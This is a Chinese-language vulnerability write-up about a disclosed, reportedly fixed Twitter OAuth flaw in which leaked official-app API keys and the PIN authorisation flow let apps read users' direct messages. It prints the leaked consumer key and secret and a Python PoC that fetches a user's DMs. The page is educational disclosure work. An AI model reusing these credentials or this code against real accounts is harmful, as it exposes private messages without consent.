挖洞经验 | OAuth授权不当导致的Twitter私信读取漏洞($2,940)
字数 1369 2025-08-18 11:37:50

OAuth授权不当导致的Twitter私信读取漏洞分析

漏洞概述

2019年披露的Twitter OAuth授权漏洞允许第三方应用在用户不知情的情况下读取用户的私信(Direct Messages),尽管授权界面明确声明"不会读取用户的推特私信"。该漏洞源于2013年泄露的Twitter官方应用API密钥仍可被利用,以及Twitter授权流程中的设计缺陷。

漏洞背景

OAuth授权机制

  • Twitter使用OAuth协议进行第三方应用授权
  • 授权界面会显示应用"将能够"(will be able to)和"不会执行"(will not be able to)的操作
  • 界面明确声明不会读取用户私信,但实际上可以

历史问题

  • 2013年Twitter官方应用API密钥泄露(包括Twitter for Android、Twitter for iPhone等)
  • 泄露的密钥被公开在GitHub上
  • 这些密钥仍可用于API访问

漏洞细节

主要问题点

  1. 密钥泄露持续影响:2013年泄露的官方API密钥仍有效

    • Consumer Key: IQKbtAYlXLripLGPWd0HUA
    • Consumer Secret: GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU
  2. 授权界面误导:授权界面声称不会读取私信,但实际上可以

  3. PIN码验证流程缺陷

    • 对于无法嵌入浏览器的应用(命令行、嵌入式系统等),Twitter使用7位PIN码验证
    • PIN码验证流程未完整显示应用将获得的权限
    • 用户输入PIN码后,应用可获得完整访问权限

技术原理

  • 使用泄露的官方密钥可以绕过常规的OAuth限制
  • 通过PIN码验证流程获取access_token后,应用可以访问所有API功能
  • 包括明确声明不可访问的私信功能

漏洞验证(PoC)

以下是验证该漏洞的Python代码示例:

#!/usr/bin/env python
import tweepy

# 使用泄露的官方密钥
consumer_key = 'IQKbtAYlXLripLGPWd0HUA'
consumer_secret = 'GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU'

# 设置授权
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.secure = True
auth_url = auth.get_authorization_url()
print('Visit this URL and authorise the app to use your Twitter account: ' + auth_url)

# 授权URL声称无法访问私信
verifier = input('Type in the generated PIN: ').strip()
auth.get_access_token(verifier)

# 完整授权
full_auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
full_auth.set_access_token(auth.access_token, auth.access_token_secret)
api = tweepy.API(full_auth)

# 打印用户所有私信 - 尽管授权界面声称不能
print(api.direct_messages())

漏洞修复与响应

Twitter的初始回应

  • 承认关注第三方应用可能未经同意访问用户数据的问题
  • 解释iOS和Android应用未显示同意对话框是因为OAuth是技术细节而非授权会话
  • 声称已停用Twitter for Google TV应用
  • 承诺审查其他第三方应用

最终立场

  • 否认PIN码或OAuth流程会对用户造成误导
  • 声称没有证据表明用户数据被未授权读取
  • 但最终支付了$2,940漏洞奖金
  • 漏洞被HackerOne归类为"隐私侵犯"

时间线

  • 2018-11-06: 通过HackerOne上报漏洞
  • 2018-11-06: 提供额外技术细节和PoC
  • 2018-11-15: 因美国假期延迟处理
  • 2018-11-16: Twitter奖励$2,940
  • 2018-12-06: Twitter修复漏洞
  • 2018-12-14: 漏洞公开披露

安全启示

  1. 密钥管理:API密钥泄露会造成长期安全隐患,应及时轮换失效
  2. 权限声明准确性:授权界面声明的权限必须与实际权限严格一致
  3. 替代验证流程:PIN码等替代验证方式应提供与主流程相同的权限透明度
  4. 用户隐私保护:在GDPR等法规下,企业需更严格保护用户数据隐私
  5. 第三方应用审核:需持续监控和审核第三方应用的权限使用情况

该漏洞展示了OAuth实现中的常见陷阱,特别是在处理历史遗留问题和替代验证流程时的安全隐患。

OAuth授权不当导致的Twitter私信读取漏洞分析 漏洞概述 2019年披露的Twitter OAuth授权漏洞允许第三方应用在用户不知情的情况下读取用户的私信(Direct Messages),尽管授权界面明确声明"不会读取用户的推特私信"。该漏洞源于2013年泄露的Twitter官方应用API密钥仍可被利用,以及Twitter授权流程中的设计缺陷。 漏洞背景 OAuth授权机制 Twitter使用OAuth协议进行第三方应用授权 授权界面会显示应用"将能够"(will be able to)和"不会执行"(will not be able to)的操作 界面明确声明不会读取用户私信,但实际上可以 历史问题 2013年Twitter官方应用API密钥泄露(包括Twitter for Android、Twitter for iPhone等) 泄露的密钥被公开在GitHub上 这些密钥仍可用于API访问 漏洞细节 主要问题点 密钥泄露持续影响 :2013年泄露的官方API密钥仍有效 Consumer Key: IQKbtAYlXLripLGPWd0HUA Consumer Secret: GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU 授权界面误导 :授权界面声称不会读取私信,但实际上可以 PIN码验证流程缺陷 : 对于无法嵌入浏览器的应用(命令行、嵌入式系统等),Twitter使用7位PIN码验证 PIN码验证流程未完整显示应用将获得的权限 用户输入PIN码后,应用可获得完整访问权限 技术原理 使用泄露的官方密钥可以绕过常规的OAuth限制 通过PIN码验证流程获取access_ token后,应用可以访问所有API功能 包括明确声明不可访问的私信功能 漏洞验证(PoC) 以下是验证该漏洞的Python代码示例: 漏洞修复与响应 Twitter的初始回应 承认关注第三方应用可能未经同意访问用户数据的问题 解释iOS和Android应用未显示同意对话框是因为OAuth是技术细节而非授权会话 声称已停用Twitter for Google TV应用 承诺审查其他第三方应用 最终立场 否认PIN码或OAuth流程会对用户造成误导 声称没有证据表明用户数据被未授权读取 但最终支付了$2,940漏洞奖金 漏洞被HackerOne归类为"隐私侵犯" 时间线 2018-11-06: 通过HackerOne上报漏洞 2018-11-06: 提供额外技术细节和PoC 2018-11-15: 因美国假期延迟处理 2018-11-16: Twitter奖励$2,940 2018-12-06: Twitter修复漏洞 2018-12-14: 漏洞公开披露 安全启示 密钥管理 :API密钥泄露会造成长期安全隐患,应及时轮换失效 权限声明准确性 :授权界面声明的权限必须与实际权限严格一致 替代验证流程 :PIN码等替代验证方式应提供与主流程相同的权限透明度 用户隐私保护 :在GDPR等法规下,企业需更严格保护用户数据隐私 第三方应用审核 :需持续监控和审核第三方应用的权限使用情况 该漏洞展示了OAuth实现中的常见陷阱,特别是在处理历史遗留问题和替代验证流程时的安全隐患。